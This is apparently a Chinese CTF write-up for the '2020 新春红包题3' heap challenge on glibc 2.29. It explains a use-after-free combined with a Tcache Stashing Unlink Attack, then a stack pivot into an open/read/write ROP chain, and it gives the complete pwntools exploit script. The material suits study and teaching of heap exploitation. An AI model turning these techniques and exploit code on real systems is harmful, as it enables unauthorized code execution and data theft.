• [2020 新春红包题]3(libc2.29 tcache tashing unlink )


    程序分析:

    禁用了execve,没有canary
    请添加图片描述
    程序功能齐全,index可以自己定,add用的是calloc,(calloc不会从tcache取chunk,calloc申请时会清零)
    就是有一些限制:
    最多add0x1c次
    edit只有一次
    add长度固定1.0x10 2.0xf0 3.0x300 4.0x400

    还存在后门,满足heap0x1000+0x800处大于0x7f0000000000就可以有个栈溢出
    请添加图片描述

    漏洞点:

    存在uaf和栈溢出
    请添加图片描述
    请添加图片描述

    解题思路:

    用tcache tashing unlink的攻击方法
    改heap0x1000+0x800处写入main_arena地址,然后溢出栈迁移到堆中写入的orw链读取flag

    具体步骤:

    0x01 uaf泄露heap_base,libc_base:

    填满7个tcache 0x410,释放到unsortbin中,泄露libc
    tcache中填6个相同smallbin范围内的chunk

    为了使用Tcache Stashing Unlink Attack,我们需要先向0x100大小的Tcache
    Bin释放6个Chunk,这样,在将我们伪造的Fake_chunk放入Tcache Bin区域时,Tcache
    Bin区域将会填满,程序不会继续通过我们伪造的bk指针向后继续遍历

    for i in range(7):
        add(0,4,'0x410')
        free(0)
    for i in range(6):
        add(1,2,'0x100')
        free(1)
    show(1)
    heap_base=uu64(rc(6))-0x32e0
    info('heap_base',heap_base)
    add(0,4,'0x410')
    add(2,1,'0x20')
    free(0)
    show(0)
    libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
    info('libc_base',libc_base)
    

    0x02 small bin中放入两个chunk:

    申请堆块如果unsortbin大小不足,则会把unsortbin割剩下的堆块放入对应bin中,这里0x100是smallbin范围,所以放入smallbin

    add(3,3,'0x310')
    add(3,3,'0x310')#0x100smallbin1
    add(4,4,'0x410')
    add(1,3,'0x310')
    free(4)
    add(5,3,'0x310')
    add(5,3,'0x310')#0x100smallbin2
    

    0x03 tcache Stashing Unlnk写入值:

    uaf在释放到unsortbin的堆写入,控制smallbin2的fd,bk
    由于tache中有6个,再释放一个填满,所以只会检查fd是不是指向smallbin1
    然后main_arena的地址会写入addr_we_want2write

    addr_we_want2write=heap_base+0x250+0x800
    smallbin1_addr=heap_base+0x37e0
    payload=flat('a'*0x300,0,0x101,smallbin1_addr,addr_we_want2write)
    edit(4,payload)
    add(6,2,'0x100')
    

    可以看到已经成功改写了
    请添加图片描述

    0x04 堆中写入orw链,栈迁移执行

    pop_rdi=0x26542+libc_base
    pop_rsi=0x26f9e+libc_base
    pop_rdx=0x12bda6+libc_base
    pop_rax=0x47cf8+libc_base
    leave_ret=0x58373+libc_base
    orw='flag'+p32(0)
    heap6_addr=heap_base+0x4650
    orw+=flat(pop_rdi,heap6_addr,pop_rsi,0,libc.sym['open']+libc_base)
    orw+=flat(pop_rdi,3,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['read']+libc_base)
    orw+=flat(pop_rdi,1,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['write']+libc_base)
    add(6,4,orw)
    sla('Your input: ','666')
    sa('What do you want to say?','a'*0x80+p64(heap6_addr)+p64(leave_ret))
    

    请添加图片描述

    完整exp:

    from pwn import *
    local_file  = './RedPacket_SoEasyPwn1'
    local_libc  = './libc-2.29.so'
    remote_libc = './libc-2.29.so'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    else:
        r = remote('node4.buuoj.cn',29412 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data)
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims                         :r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, b'\0'))
    uu64    = lambda data               :u64(data.ljust(8, b'\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    def debug(cmd=''):
         gdb.attach(r,cmd)
    #------------------------
    def add(idx,choose,content):
        sla('Your input: ','1')
        sla('Please input the red packet idx: ',str(idx))
        sla('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ',str(choose))
        sla('Please input content: ',content)
    def free(idx):
        sla('Your input: ','2')
        sla('Please input the red packet idx: ',str(idx))
    def edit(idx,content):
        sla('Your input: ','3')
        sla('Please input the red packet idx: ',str(idx))
        sla('Please input content: ',content)
    def show(idx):
        sla('Your input: ','4')
        sla('Please input the red packet idx: ',str(idx))
    
    #----------------------------------------------------
    for i in range(7):
        add(0,4,'0x410')
        free(0)
    for i in range(6):
        add(1,2,'0x100')
        free(1)
    show(1)
    heap_base=uu64(rc(6))-0x32e0
    info('heap_base',heap_base)
    add(0,4,'0x410')
    add(2,1,'0x20')
    free(0)
    show(0)
    libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
    info('libc_base',libc_base)
    #------------------------------
    add(3,3,'0x310')
    add(3,3,'0x310')#0x100smallbin1
    add(4,4,'0x410')
    add(1,3,'0x310')
    free(4)
    add(5,3,'0x310')
    add(5,3,'0x310')#0x100smallbin2
    #------------------------------
    addr_we_want2write=heap_base+0x250+0x800
    smallbin1_addr=heap_base+0x37e0
    payload=flat('a'*0x300,0,0x101,smallbin1_addr,addr_we_want2write)
    edit(4,payload)
    add(6,2,'0x100')
    #-----------------------------------
    pop_rdi=0x26542+libc_base
    pop_rsi=0x26f9e+libc_base
    pop_rdx=0x12bda6+libc_base
    pop_rax=0x47cf8+libc_base
    leave_ret=0x58373+libc_base
    orw='flag'+p32(0)
    heap6_addr=heap_base+0x4650
    orw+=flat(pop_rdi,heap6_addr,pop_rsi,0,libc.sym['open']+libc_base)
    orw+=flat(pop_rdi,3,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['read']+libc_base)
    orw+=flat(pop_rdi,1,pop_rsi,heap6_addr+0x200,pop_rdx,0x50,libc.sym['write']+libc_base)
    add(6,4,orw)
    sla('Your input: ','666')
    sa('What do you want to say?','a'*0x80+p64(heap6_addr)+p64(leave_ret))
    #debug()
    r.interactive()
    

    参考师傅:

    https://www.anquanke.com/post/id/198173#h3-6

  • 相关阅读:
    Redis第六讲:Redis性能排查与调优
    华纳云:redis缓存失效策略怎么配置
    GnuTLS recv error (-110): The TLS connection was non-properly terminated
    vue项目根据不同环境进行设置打包命令
    嵌入式 Linux 入门(八、Linux 下的软件安装)
    Redis客户端Lettuce深度分析介绍
    【LeetCode】540. 有序数组中的单一元素
    RabbitMQ —— 理解及应用场景
    【基于然也物联MQTT的ESP遥控小车】
    怒刷LeetCode的第26天(Java版)
  • 原文地址:https://blog.csdn.net/m0_51251108/article/details/127078196